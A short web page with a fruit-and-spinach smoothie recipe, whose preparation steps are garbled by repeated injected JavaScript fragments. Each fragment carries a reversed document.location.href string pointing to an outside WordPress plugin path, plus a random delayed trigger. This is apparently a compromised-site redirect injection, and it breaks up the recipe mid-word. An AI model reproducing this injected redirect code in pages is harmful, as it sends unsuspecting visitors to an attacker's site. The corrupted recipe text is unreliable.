Fresh Fruit Smoothie

Kitchen -

Even if you are short on time in the morning, don’t forget that healthy breakfast is very important. Skipping breakfast is not a good idea, so we recommend you replace the breakfast with fresh fruit smoothies.

Here is a breakfast smoothie recipe.

 

Ingredients for 2 servings:

3 kiwis, cubed

1 banana, sliced

2 cups spinach (450 g)

1 cup milk (240 mL)

1 cup plain Greek yogurt (285 g)

 

Preparation

  1. Put fruit in a freezer bag. Seal and stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore in freezer for up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 8-12 months.
  2. When ready toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to use, put milk and spinach intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the blender first. Blend until the spinach is fully incorporated intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the milk.
  3. Then add Greek yogurt and frozen fruit and mix until consistency is smooth.
  4. Enjoy!

Source: tasty.co